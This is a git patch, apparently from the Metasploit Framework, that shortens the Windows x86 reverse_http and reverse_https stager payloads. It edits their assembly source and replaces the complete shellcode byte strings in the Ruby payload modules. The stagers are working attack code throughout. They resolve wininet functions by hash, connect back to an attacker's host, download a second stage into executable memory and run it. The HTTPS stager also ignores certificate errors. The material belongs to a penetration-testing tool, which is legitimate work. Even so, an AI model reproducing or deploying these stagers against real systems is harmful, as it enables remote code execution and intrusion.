From bfc0ac4dd4480c1de822a118934fea93793de219 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 27 Jan 2014 11:42:23 -0600 Subject: [PATCH] Golf a few bytes off of reverse_http(s) --- .../x86/src/block/block_reverse_http.asm | 36 ++++++------- .../x86/src/block/block_reverse_https.asm | 42 +++++++-------- .../payloads/stagers/windows/reverse_http.rb | 51 +++++++++++-------- .../payloads/stagers/windows/reverse_https.rb | 50 ++++++++++-------- 4 files changed, 92 insertions(+), 87 deletions(-) diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm index 42c717622a..35233b7769 100644 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm +++ b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm @@ -27,10 +27,7 @@ internetopen: push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) call ebp - jmp short dbl_get_server_host - internetconnect: - pop ebx ; Save the hostname pointer xor ecx, ecx push ecx ; DWORD_PTR dwContext (NULL) push ecx ; dwFlags @@ -38,36 +35,35 @@ internetconnect: push ecx ; password push ecx ; username push dword 4444 ; PORT - push ebx ; HOSTNAME + jmp short dbl_get_server_host ; push pointer to HOSTNAME +got_server_host: push eax ; HINTERNET hInternet push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) call ebp - jmp get_server_uri - httpopenrequest: - pop ecx xor edx, edx ; NULL push edx ; dwContext (NULL) push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags ;0x80000000 | ; INTERNET_FLAG_RELOAD ;0x04000000 | ; INTERNET_NO_CACHE_WRITE - ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT ;0x00000200 | ; INTERNET_FLAG_NO_UI ;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION push edx ; accept types push edx ; referrer push edx ; version - push ecx ; url + jmp get_server_uri ; push pointer to url +got_server_uri: push edx ; method push eax ; hConnection push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) call ebp - mov esi, eax ; hHttpRequest + xchg esi, eax ; hHttpRequest in esi set_retry: push byte 0x10 - pop ebx + pop ecx httpsendrequest: xor edi, edi @@ -82,23 +78,23 @@ httpsendrequest: jnz short allocate_memory try_it_again: - dec ebx - jz failure - jmp short httpsendrequest + loopnz httpsendrequest + +; fall through to failure + +failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp dbl_get_server_host: jmp get_server_host get_server_uri: - call httpopenrequest + call got_server_uri server_uri: db "/12345", 0x00 -failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - allocate_memory: push byte 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT @@ -135,7 +131,7 @@ execute_stage: ret ; dive into the stored stage address get_server_host: - call internetconnect + call got_server_host server_host: diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm index 28a0a04783..6d8938164c 100644 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm +++ b/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm @@ -22,15 +22,12 @@ internetopen: push edi ; LPCTSTR lpszProxyBypass push edi ; LPCTSTR lpszProxyName push edi ; DWORD dwAccessType (PRECONFIG = 0) - push byte 0 ; NULL pointer + push byte 0 ; NULL pointer push esp ; LPCTSTR lpszAgent ("\x00") push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) call ebp - jmp short dbl_get_server_host - internetconnect: - pop ebx ; Save the hostname pointer xor ecx, ecx push ecx ; DWORD_PTR dwContext (NULL) push ecx ; dwFlags @@ -38,38 +35,37 @@ internetconnect: push ecx ; password push ecx ; username push dword 4444 ; PORT - push ebx ; HOSTNAME + jmp short dbl_get_server_host ; push pointer to HOSTNAME +got_server_host: push eax ; HINTERNET hInternet push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) call ebp - jmp get_server_uri - httpopenrequest: - pop ecx xor edx, edx ; NULL push edx ; dwContext (NULL) push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags ;0x80000000 | ; INTERNET_FLAG_RELOAD ;0x04000000 | ; INTERNET_NO_CACHE_WRITE - ;0x00800000 | ; INTERNET_FLAG_SECURE - ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00800000 | ; INTERNET_FLAG_SECURE + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT ;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID ;0x00000200 ; INTERNET_FLAG_NO_UI push edx ; accept types push edx ; referrer push edx ; version - push ecx ; url + jmp get_server_uri ; push pointer to url +got_server_uri: push edx ; method push eax ; hConnection push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) call ebp - mov esi, eax ; hHttpRequest + xchg esi, eax ; hHttpRequest in esi set_retry: push byte 0x10 - pop ebx + pop ecx ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); set_security_options: @@ -83,7 +79,7 @@ set_security_options: push byte 4 ; sizeof(dwFlags) push eax ; &dwFlags push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) - push esi ; hRequest + push esi ; hHttpRequest push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) call ebp @@ -100,23 +96,23 @@ httpsendrequest: jnz short allocate_memory try_it_again: - dec ebx - jz failure - jmp short set_security_options + loopnz set_security_options + +; fall through to failure + +failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp dbl_get_server_host: jmp get_server_host get_server_uri: - call httpopenrequest + call got_server_uri server_uri: db "/12345", 0x00 -failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - allocate_memory: push byte 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT @@ -153,7 +149,7 @@ execute_stage: ret ; dive into the stored stage address get_server_host: - call internetconnect + call got_server_host server_host: diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index dab4f927fc..f04f34bfcf 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -29,30 +29,37 @@ module Metasploit3 { # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now) # 'EXITFUNC' => [ 290, 'V' ], - 'LPORT' => [ 190, 'v' ], # Not a typo, really little endian + 'LPORT' => [ 184, 'v' ], # Not a typo, really little endian }, 'Payload' => - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" + - "\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" + - "\xFF\xD5\xEB\x4B\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" + - "\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x34\x59\x31\xD2" + - "\x52\x68\x00\x02\x60\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" + - "\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" + - "\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xE9\xEB" + - "\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5" + - "\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" + - "\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00" + - "\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD" + - "\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x65\xFF\xFF\xFF" + + # Built on Mon Jan 27 11:38:26 2014 + # Name: stager_reverse_http + # Length: 324 bytes + # LEPort Offset: 184 + # ExitFunk Offset: 245 + "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + + "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + + "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + + "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + + "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + + "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + + "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x6E\x65" + + "\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x31" + + "\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7\xFF\xD5\x31" + + "\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11\x00\x00\xEB\x3D\x50\x68" + + "\x57\x89\x9F\xC6\xFF\xD5\x31\xD2\x52\x68\x00\x02\x60\x84\x52\x52" + + "\x52\xEB\x2A\x52\x50\x68\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x59" + + "\x31\xFF\x57\x57\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0" + + "\x75\x17\xE0\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\xEB\x42\xE8\xD1\xFF" + + "\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x6A\x40\x68\x00\x10\x00\x00" + + "\x68\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53" + + "\x89\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF" + + "\xD5\x85\xC0\x74\xBF\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8" + + "\x7A\xFF\xFF\xFF" + } )) end diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb index 75285f24ca..14ee7420db 100644 --- a/modules/payloads/stagers/windows/reverse_https.rb +++ b/modules/payloads/stagers/windows/reverse_https.rb @@ -29,32 +29,38 @@ module Metasploit3 { # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now) # 'EXITFUNC' => [ 290, 'V' ], - 'LPORT' => [ 190, 'v' ], # Not a typo, really little endian + 'LPORT' => [ 184, 'v' ], # Not a typo, really little endian }, 'Payload' => - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + + + # Built on Mon Jan 27 11:25:25 2014 + # Name: stager_reverse_https + # Length: 344 bytes + # LEPort Offset: 184 + # ExitFunk Offset: 265 + "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" + - "\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" + - "\xFF\xD5\xEB\x5F\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" + - "\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x48\x59\x31\xD2" + - "\x52\x68\x00\x32\xA0\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" + - "\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x68\x80\x33\x00\x00\x89\xE0\x6A" + - "\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x31\xFF\x57\x57" + - "\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74" + - "\x10\xEB\xD5\xEB\x49\xE8\xB3\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35" + - "\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68" + - "\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89" + - "\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5" + - "\x85\xC0\x74\xCD\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x51" + - "\xFF\xFF\xFF" + "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + + "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + + "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + + "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + + "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + + "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x6E\x65" + + "\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x31" + + "\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7\xFF\xD5\x31" + + "\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11\x00\x00\xEB\x51\x50\x68" + + "\x57\x89\x9F\xC6\xFF\xD5\x31\xD2\x52\x68\x00\x32\xA0\x84\x52\x52" + + "\x52\xEB\x3E\x52\x50\x68\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x59" + + "\x68\x80\x33\x00\x00\x89\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46" + + "\x9E\x86\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x2D\x06\x18\x7B" + + "\xFF\xD5\x85\xC0\x75\x17\xE0\xD8\x68\xF0\xB5\xA2\x56\xFF\xD5\xEB" + + "\x42\xE8\xBD\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x6A\x40\x68" + + "\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF" + + "\xD5\x93\x53\x53\x89\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12" + + "\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xBF\x8B\x07\x01\xC3\x85\xC0\x75" + + "\xE5\x58\xC3\xE8\x66\xFF\xFF\xFF" + } )) end